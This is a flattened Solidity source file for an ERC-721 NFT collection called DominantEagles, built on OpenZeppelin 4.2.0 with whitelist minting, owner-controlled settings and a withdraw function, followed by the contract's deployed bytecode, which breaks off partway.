public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721Metadata /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/ERC721 /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/ERC721Enumerable /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: DominantEagles.sol contract DominantEagles is ERC721Enumerable, Ownable { using Strings for uint256; string private baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.15 ether; uint256 public maxSupply = 777; uint256 public maxMintAmount = 10; uint256 public nftPerAddressLimit = 20; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; mapping(address => bool) whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { if (!revealed) { return notRevealedUri; } else { return baseURI; } } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require( _mintAmount <= maxMintAmount, "max mint amount per session exceeded" ); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if (onlyWhitelisted == true) { require( whitelistedAddresses[msg.sender], "user is not whitelisted" ); } uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require( ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded" ); require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function isWhitelisted(address _user) public view returns (bool) { return whitelistedAddresses[_user]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] memory addresses) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { whitelistedAddresses[addresses[i]] = true; } } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x60806040526004361061025c5760003560e01c80635c975abb11610144578063b88d4fde116100b6578063d5abeb011161007a578063d5abeb01146106e5578063da3ef23f146106fb578063e985e9c51461071b578063edec5f2714610764578063f2c4ce1e14610784578063f2fde38b146107a45761025c565b8063b88d4fde1461065a578063ba7d2c761461067a578063c668286214610690578063c87b56dd146106a5578063d0eb26b0146106c55761025c565b80638da5cb5b116101085780638da5cb5b146105bf57806395d89b41146105dd5780639c70b512146105f2578063a0712d6814610612578063a22cb46514610625578063a475b5dd146106455761025c565b80635c975abb146105305780636352211e1461054a57806370a082311461056a578063715018a61461058a5780637f00c7a61461059f5761025c565b806323b872dd116101dd57806342842e0e116101a157806342842e0e14610464578063438b63001461048457806344a0d68a146104b15780634f6ccce7146104d157806351830227146104f157806355f804b3146105105761025c565b806323b872dd146103c35780632f745c59146103e35780633af32abf146104035780633c9527641461043c5780633ccfd60b1461045c5761025c565b8063095ea7b311610224578063095ea7b31461032757806313faede61461034757806318160ddd1461036b57806318cae26914610380578063239c70ae146103ad5761025c565b806301ffc9a71461026157806302329a291461029657806306fdde03146102b8578063081812fc146102da578063081c8c4414610312575b600080fd5b34801561026d57600080fd5b5061028161027c3660046125b0565b6107c4565b60405190151581526020015b60405180910390f35b3480156102a257600080fd5b506102b66102b1366004612596565b6107f1565b005b3480156102c457600080fd5b506102cd610837565b60405161028d91906127b5565b3480156102e657600080fd5b506102fa6102f536600461262e565b6108ca565b6040516001600160a01b03909116815260200161028d565b34801561031e57600080fd5b506102cd61095f565b34801561033357600080fd5b506102b66103423660046124be565b6109ed565b34801561035357600080fd5b5061035d600e5481565b60405190815260200161028d565b34801561037757600080fd5b5060085461035d565b34801561038c57600080fd5b5061035d61039b366004612395565b60146020526000908152604090205481565b3480156103b957600080fd5b5061035d60105481565b3480156103cf57600080fd5b506102b66103de3660046123e1565b610b03565b3480156103ef57600080fd5b5061035d6103fe3660046124be565b610b34565b34801561040f57600080fd5b5061028161041e366004612395565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561044857600080fd5b506102b6610457366004612596565b610bca565b6102b6610c10565b34801561047057600080fd5b506102b661047f3660046123e1565b610cae565b34801561049057600080fd5b506104a461049f366004612395565b610cc9565b60405161028d9190612771565b3480156104bd57600080fd5b506102b66104cc36600461262e565b610d87565b3480156104dd57600080fd5b5061035d6104ec36600461262e565b610db6565b3480156104fd57600080fd5b5060125461028190610100900460ff1681565b34801561051c57600080fd5b506102b661052b3660046125e8565b610e57565b34801561053c57600080fd5b506012546102819060ff1681565b34801561055657600080fd5b506102fa61056536600461262e565b610e98565b34801561057657600080fd5b5061035d610585366004612395565b610f0f565b34801561059657600080fd5b506102b6610f96565b3480156105ab57600080fd5b506102b66105ba36600461262e565b610fcc565b3480156105cb57600080fd5b50600a546001600160a01b03166102fa565b3480156105e957600080fd5b506102cd610ffb565b3480156105fe57600080fd5b506012546102819062010000900460ff1681565b6102b661062036600461262e565b61100a565b34801561063157600080fd5b506102b6610640366004612495565b6112fb565b34801561065157600080fd5b506102b66113cd565b34801561066657600080fd5b506102b661067536600461241c565b611408565b34801561068657600080fd5b5061035d60115481565b34801561069c57600080fd5b506102cd611440565b3480156106b157600080fd5b506102cd6106c036600461262e565b61144d565b3480156106d157600080fd5b506102b66106e036600461262e565b6115cc565b3480156106f157600080fd5b5061035d600f5481565b34801561070757600080fd5b506102b66107163660046125e8565b6115fb565b34801561072757600080fd5b506102816107363660046123af565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561077057600080fd5b506102b661077f3660046124e7565b611638565b34801561079057600080fd5b506102b661079f3660046125e8565b6116d8565b3480156107b057600080fd5b506102b66107bf366004612395565b611715565b60006001600160e01b0319821663780e9d6360e01b14806107e957506107e9826117ad565b90505b919050565b600a546001600160a01b031633146108245760405162461bcd60e51b815260040161081b9061281a565b60405180910390fd5b6012805460ff1916911515919091179055565b6060600080546108469061295f565b80601f01602080910402602001604051908101604052809291908181526020018280546108729061295f565b80156108bf5780601f10610894576101008083540402835291602001916108bf565b820191906000526020600020905b8154815290600101906020018083116108a257829003601f168201915b505050505090505b90565b6000818152600260205260408120546001600160a01b03166109435760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161081b565b506000908152600460205260409020546001600160a01b031690565b600d805461096c9061295f565b80601f01602080910402602001604051908101604052809291908181526020018280546109989061295f565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b505050505081565b60006109f882610e98565b9050806001600160a01b0316836001600160a01b03161415610a665760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161081b565b336001600160a01b0382161480610a825750610a828133610736565b610af45760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161081b565b610afe83836117fd565b505050565b610b0d338261186b565b610b295760405162461bcd60e51b815260040161081b9061284f565b610afe838383611962565b6000610b3f83610f0f565b8210610ba15760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161081b565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610bf45760405162461bcd60e51b815260040161081b9061281a565b60128054911515620100000262ff000019909216919091179055565b600a546001600160a01b03163314610c3a5760405162461bcd60e51b815260040161081b9061281a565b6000610c4e600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610c98576040519150601f19603f3d011682016040523d82523d6000602084013e610c9d565b606091505b5050905080610cab57600080fd5b50565b610afe83838360405180602001604052806000815250611408565b60606000610cd683610f0f565b905060008167ffffffffffffffff811115610d0157634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610d2a578160200160208202803683370190505b50905060005b82811015610d7f57610d428582610b34565b828281518110610d6257634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610d778161299a565b915050610d30565b509392505050565b600a546001600160a01b03163314610db15760405162461bcd60e51b815260040161081b9061281a565b600e55565b6000610dc160085490565b8210610e245760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161081b565b60088281548110610e4557634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b03163314610e815760405162461bcd60e51b815260040161081b9061281a565b8051610e9490600b90602084019061227d565b5050565b6000818152600260205260408120546001600160a01b0316806107e95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161081b565b60006001600160a01b038216610f7a5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161081b565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610fc05760405162461bcd60e51b815260040161081b9061281a565b610fca6000611b0d565b565b600a546001600160a01b03163314610ff65760405162461bcd60e51b815260040161081b9061281a565b601055565b6060600180546108469061295f565b60125460ff16156110565760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b604482015260640161081b565b600061106160085490565b9050600082116110b35760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e46540000000000604482015260640161081b565b6010548211156111115760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b606482015260840161081b565b600f5461111e83836128d1565b11156111655760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b604482015260640161081b565b600a546001600160a01b031633146112ab5760125462010000900460ff161515600114156111ec573360009081526013602052604090205460ff166111ec5760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c6973746564000000000000000000604482015260640161081b565b3360009081526014602052604090205460115461120984836128d1565b11156112575760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e465420706572206164647265737320657863656564656400000000604482015260640161081b565b82600e5461126591906128fd565b3410156112a95760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b604482015260640161081b565b505b60015b828111610afe573360009081526014602052604081208054916112d08361299a565b909155506112e99050336112e483856128d1565b611b5f565b806112f38161299a565b9150506112ae565b6001600160a01b0382163314156113545760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161081b565b3360008181526005602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516113c1911515815260200190565b60405180910390a35050565b600a546001600160a01b031633146113f75760405162461bcd60e51b815260040161081b9061281a565b6012805461ff001916610100179055565b611412338361186b565b61142e5760405162461bcd60e51b815260040161081b9061284f565b61143a84848484611b79565b50505050565b600c805461096c9061295f565b6000818152600260205260409020546060906001600160a01b03166114cc5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161081b565b601254610100900460ff1661156d57600d80546114e89061295f565b80601f01602080910402602001604051908101604052809291908181526020018280546115149061295f565b80156115615780601f1061153657610100808354040283529160200191611561565b820191906000526020600020905b81548152906001019060200180831161154457829003601f168201915b505050505090506107ec565b6000611577611bac565b9050600081511161159757604051806020016040528060008152506115c5565b806115a184611c5d565b600c6040516020016115b593929190612672565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146115f65760405162461bcd60e51b815260040161081b9061281a565b601155565b600a546001600160a01b031633146116255760405162461bcd60e51b815260040161081b9061281a565b8051610e9490600c90602084019061227d565b600a546001600160a01b031633146116625760405162461bcd60e51b815260040161081b9061281a565b60005b8151811015610e945760016013600084848151811061169457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806116d08161299a565b915050611665565b600a546001600160a01b031633146117025760405162461bcd60e51b815260040161081b9061281a565b8051610e9490600d90602084019061227d565b600a546001600160a01b0316331461173f5760405162461bcd60e51b815260040161081b9061281a565b6001600160a01b0381166117a45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161081b565b610cab81611b0d565b60006001600160e01b031982166380ac58cd60e01b14806117de57506001600160e01b03198216635b5e139f60e01b145b806107e957506301ffc9a760e01b6001600160e01b03198316146107e9565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061183282610e98565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166118e45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161081b565b60006118ef83610e98565b9050806001600160a01b0316846001600160a01b0316148061192a5750836001600160a01b031661191f846108ca565b6001600160a01b0316145b8061195a57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661197582610e98565b6001600160a01b0316146119dd5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e